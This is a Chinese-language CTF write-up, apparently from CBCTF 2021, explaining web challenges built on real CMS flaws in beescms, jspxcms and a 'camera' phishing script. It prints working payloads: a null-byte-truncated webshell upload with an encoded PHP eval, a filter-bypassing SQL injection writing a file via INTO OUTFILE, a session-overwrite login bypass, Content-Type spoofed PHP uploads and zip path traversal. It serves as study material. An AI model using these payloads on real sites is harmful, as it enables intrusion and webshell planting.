磨了好几天了😅

直播错过了😅,打开的时候师傅刚好讲到 camera 最后的利用了😅


1.jj’s camera:

根据提示,网上可以搜到源码,有个叫网恋照妖镜的东西

下载下来,主要看这部分 qbl.php

<?php
error_reporting(0);
$base64_img = trim($_POST['img']);
$id = trim($_GET['id']);
$url = trim($_GET['url']);
$up_dir = './img/';//存放在当前目录的img文件夹下

if(empty($id) || empty($url) || empty($base64_img)){
    exit;
}

if(!file_exists($up_dir)){
  mkdir($up_dir,0777);
}

if(preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_img, $result)){
  $type = $result[2];
  if(in_array($type,array('bmp','png'))){
    $new_file = $up_dir.$id.'_'.date('mdHis_').'.'.$type;
    file_put_contents($new_file, base64_decode(str_replace($result[1], '', $base64_img)));
    header("Location: ".$url);
  }
}
?>

存在文件写入操作,同时注意到写入的文件是路径拼接来的,也就是说,可以借助 $id 实现🐎的写入:

$new_file = $up_dir.$id.'_'.date('mdHis_').'.'.$type;
file_put_contents($new_file, base64_decode(str_replace($result[1], '', $base64_img)));

但是 $id 后面还拼接了其他内容,考虑到题目环境的 PHP 版本为 5.2.17 存在 %00 截断,同时还要防止 trim() 过滤,梳理一下思路所有问题就都解决了

/qbl.php?id=shell.php%00abc123&url=https://www.baidu.com

POST:
img=data%3Aimage%2Fpng%3Bbase64%2CPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs%2FPg%3D%3D

不知道蚁剑什么🐔⑧情况,死活上不去,淦

2.安全,安全,还是xxx的安全:

这个题目考察的 sqlite 的注入,没怎么接触过😅

一开始常规注测,购买 flag 没发现什么异常,在购买界面 view-source 一下看源码,发现有 rsa 加密的过程,也没懂是在干啥

然后回到注册界面,发现用户名那里存在注入,回显 “Hacker”,抓包看了一下注册时传入的数据,是这样的:

{"username":"root1","password":"ff045b1a38da66b1e78673018832d355","pay_password":"WD4tp+YV5t8hEv4cH13Ms3/Fu9bxxhzZrauiA0EuI/3NS+kDgd+psx9JubXMOe1ifHHbWWDBLW9yg/isZd3rLqr+Me5QwQhYdq0pa+boafjnBmdoxGwBbPuxez00HlXaG1jjl5QpRWhi2ezFguWveiR+bIh6PY5+2Q0Z21DvXe4="}

右键查源码,看一下注册的逻辑

methods: {
        onSubmit() {
            axios
                .post('register', {
                    username: app.users.username,
                    password: md5(app.users.password+"CBCTF"),
                    pay_password: encrsa(app.users.pay_password)
                })
                .then(response => {
                    if (response.data.error) {
                        if (response.data.msg === "hacker!") {
                            this.visibility = "visibility: visible";
                        } else {
                            this.visibility = "visibility: hidden";
                        }
                        app.$message({
                            showClose: true,
                            message: response.data.msg,
                            type: 'error'
                        });
                    } else {
                        window.location.href = 'login'
                    }
                })
...
function encrsa(input) {
    const crypt = new JSEncrypt();
    const pub_key = "-----BEGIN PUBLIC KEY-----\n" +
        "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDK9H5CoNfCA0TR5e5w20Q9qmTW\n" +
        "3T1uWmLHmNu7id9VBsngYXbaNfcK01JK2NNLLQ74vbRTpnAFg05csCkUWnkloKKu\n" +
        "AZZEDxKaiZ6M4Vmy1BYae7lutS5uECYouZt+TveABrdM4pjPxBwoKpp+IJFeYsVX\n" +
        "UGzrDiFb40I47X6oRQIDAQAB\n" +
        "-----END PUBLIC KEY-----"
    crypt.setPublicKey(pub_key);
    return crypt.encrypt(md5(input+"CBCTF2021"))
}

password 经过了 md5 处理,pay_password 经过了 md5 => rsa => base64 的处理,rsa 的公钥已经给了

结合提示给的数据库相关内容,可以确定为注入,但是注入点在哪始终没想明白,后来看了一下erR0Ratao师傅的wp,才知道注入点在 pay_password 上,因为是有回显的,所以可以不用盲注,脚本利用直接参考就可以,注意数据类型,最后要 hex 一下


这次比赛涉及到几个 CMS 的利用,还是比较符合网络安全实际的,比赛的时候只顾着搜索找利用去了,没好好分析,现在回过头来再看一遍这几个 CMS,重新梳理一下思路

关于 jspxcms:

其实进入后台后,一般都会找文件上传接口,看看能不能上传恶意文件,好 getshell 然后再进行更深一步的操作,这个也不例外

这个后台是有的,而且还可以自己新建文档,但是没什么用

新建的 shell.php 文件根本利用不了,除了图片可以在线看以外,对于其他后缀的文件,系统本身提供的也只是一个下载链接,包括模板文件那里也一样,可以尝试新建 .jsp 文件;但是源码中受 JspDispatcherFilter.java 的约束,对新建 .jsp 文件的访问进行了限制,也无法利用

看一下前端,头像修改那里是空的,稿件上传存在接口,但是 .php 不行,回到后端,修改一下系统设置的上传设置

然后可以正常上传,但是效果和在后台上传一样,没区别,php 文件是不解析的,那么这个时候可能就会想,如果我上传 .htaccess 添加解析不就行了么,但是结果是不行的😅

所以最后的关注点放在了上传压缩包和解压缩上面

关于上传压缩包再 getshell,以前只是接触过 PHP 的,利用 zip:// 伪协议进行包含,Java的并没有接触过

对于 jspxcms 观察源码可以发现,在解压缩的时候,自定义的 unzip() 方法并没有对 .zip 压缩包里的文件名进行参数校验,就进行文件的写入,而这样的代码写法会引发目录穿越

这样一来,虽然有对 .jsp 文件的访问限制,但是只要我们穿越到 \webapps 下,不会受 JspDispatcherFilter.java 的约束,从而达到 getshell 的效果

然后是 beescms:

直接访问 /www.zip 看源码,简直白给,淦

后台登录逻辑在这里:

function check_login($user,$password){
	$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");	
	$rel=empty($rel)?'':$rel[0];
	if(empty($rel)){
		msg('不存在该管理用户','login.php');
	}
	$password=md5($password);
	if($password!=$rel['admin_password']){
		msg("输入的密码不正确");
	}
	if($rel['is_disable']){
		msg('该账号已经被锁定,无法登陆');
	}

然后对于 $user$password 还有函数处理:

function fl_value($str){
	if(empty($str)){return;}
	return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
	return htmlspecialchars($str);
}
function f1_vvv($str){
	if(empty($str)){return;}
	if(preg_match("/\ /i", $str)){
		exit('Go away,bad hacker!!');
	}
	preg_replace('/0x/i','',$str);
    return $str;
}

所以可以轻而易举的知道如何绕过这些限制,写入 shell 的方法我们已经知道了,再看一看还没有其他好玩的

既然登录的地方有注入,尝试把密码注入出来写进 a.php

admin'/**/union/**/selselectect/**/1,2,3,4,5/**/into/**/ououtfiletfile/**/'/var/www/html/a.php'/**/#

访问 /a.php

然后,淦哦

付了费登进后台


后来又看了下代码,发现有变量覆盖可以直接进后台,我淦氼🐎哦

function is_login(){
	if($_SESSION['login_in']==1&&$_SESSION['admin']){
		if(time()-$_SESSION['login_time']>3600){
			login_out();
		}else{
			$_SESSION['login_time']=time();
			@session_regenerate_id();
		}
		return 1;
	}else{
		$_SESSION['admin']='';
		$_SESSION['admin_purview']='';
		$_SESSION['admin_id']='';
		$_SESSION['admin_time']='';
		$_SESSION['login_in']='';
		$_SESSION['login_time']='';
		$_SESSION['admin_ip']='';
		return 0;
	}
POST
_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999

尝试修改上传附件类型,结果告诉我没有权限 Permision Denied😅

找了几个文件上传接口没找到,后来问了一下 @miaoTony 师傅,在上传图片管理的修改处可以进行文件的上传写入

可以先看源码:

...
$pic_alt=$_POST['pic_alt'];//图片alt
	$pic_thumb=$_POST['pic_thumb'];//图片缩略图
	$pic_thumb = iconv('UTF-8','GBK',$pic_thumb);
	$pic_ext=$_POST['pic_ext'];//图片后缀名
	$file_name=CMS_PATH.$_POST['pic'];//上传图片路径
	$file_name = iconv('UTF-8','GBK',$file_name);
	$pic_name=$_POST['pic_name'];//图片名称
	$pic_name = iconv('UTF-8','GBK',$pic_name);
	$pic_path=$_POST['pic_path'];//图片所在目录
	$pic_cate=$_POST['pic_cate'];//图片类别
	$new_pic=$_FILES['new_pic'];
	$return_thumb='';//缩略图
	if(file_exists(DATA_PATH.'sys_info.php')){include(DATA_PATH.'sys_info.php');}
	//是否重新上传图片
	if(is_uploaded_file($new_pic['tmp_name'])){
		//判断大小
		if($new_pic['size']>$_sys['upload_size']){msg('图片太大,请缩小');}
		//判断格式
		if(!in_array(strtolower($new_pic['type']),array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'))){msg('上传图片格式不正确');}
		//图片信息
		$new_pic_info=pathinfo($new_pic['name']);
		//替换图片
		$new_pic_name=CMS_PATH.$pic_path.$pic_name.'.'.$new_pic_info['extension'];
		//删除原来图片
		//@unlink($file_name);
		//上传图片
		@move_uploaded_file($new_pic['tmp_name'],$new_pic_name);
		//对文件重新赋值,方便生成缩略图
		$file_name=$new_pic_name;
		//更新数据库
		$new_pic_sql=",pic_ext='".$new_pic_info['extension']."',pic_size='".$new_pic['size']."'";
	}
...

由于只对 Content-Type 进行了校验,所以上传 php 文件的时候修改为 image/jpeg 即可;此外,在之前的文件上传里,我们知道存在权限限制,需要突破上传目录,之前的默认上传后的图片所在目录路径 $pic_path/upload/image ,直接修改为空或者 ./

bp 抓包

可以看到,已经发生变化了,鼠标移到图片那里可以发现链接的后缀已经变为 .php 了,但是如果改成 .jpg 还是可以访问得到原图片的,也就是说,真正的 shell 文件并不是给的链接,而在修改过的 ./

那么文件名是什么呢?没有文件名,直接访问 /.php 就可以


easyweb 涉及到 pickle 这几天再看一看,java不会😅,easythinkphp 关于日志 RCE 的,后面单独写吧,趁着弄了几个 edu(也可能不会了,随缘吧)😅


欸,中国队牛逼,YYDS


0 条评论

发表评论

邮箱地址不会被公开。 必填项已用*标注